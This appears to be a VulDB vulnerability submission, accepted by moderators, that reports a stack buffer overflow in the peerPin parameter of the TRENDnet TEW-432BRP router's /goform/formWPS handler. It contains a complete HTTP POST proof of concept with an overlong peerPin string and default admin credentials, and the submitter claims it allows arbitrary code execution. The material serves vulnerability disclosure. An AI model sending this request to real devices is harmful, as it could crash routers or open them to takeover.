제출 #814759: TRENDnet TEW-432BRP 3.10B20 Stack-based Buffer Overflow

In formWPS function, peerPin is directly passed by the attacker, If this part of the data is too long, it will cause the stack overflow, so we can control the peerPin to execute arbitrary code.

POST /goform/formWPS HTTP/1.1
Host: 192.168.10.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: http://192.168.10.1
Authorization: Basic YWRtaW46YWRtaW4=
Connection: keep-alive
Referer: http://192.168.10.1/wlan_wps.asp?t=1777301493134
Upgrade-Insecure-Requests: 1

enable=on&peerPin=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&setPIN=Start+PIN&webpage=wlan_wps.asp&wpsAction=pin

• 원천: ⚠️ https://github.com/wudipjq/my_vuln/blob/main/TRENDnet/vuln_4/4.md
• 사용자: pjqwudi_Buoy (UID 97665)
• 제출: 2026. 04. 28. AM 09:06 (1 월 ago)
• 모더레이션: 2026. 05. 29. AM 10:20 (1 month later)
• 상태: 수락
• VulDB 항목: 367149 [TRENDnet TEW-432BRP 3.10B20 /goform/formWPS peerPin 메모리 손상]
• 포인트들: 20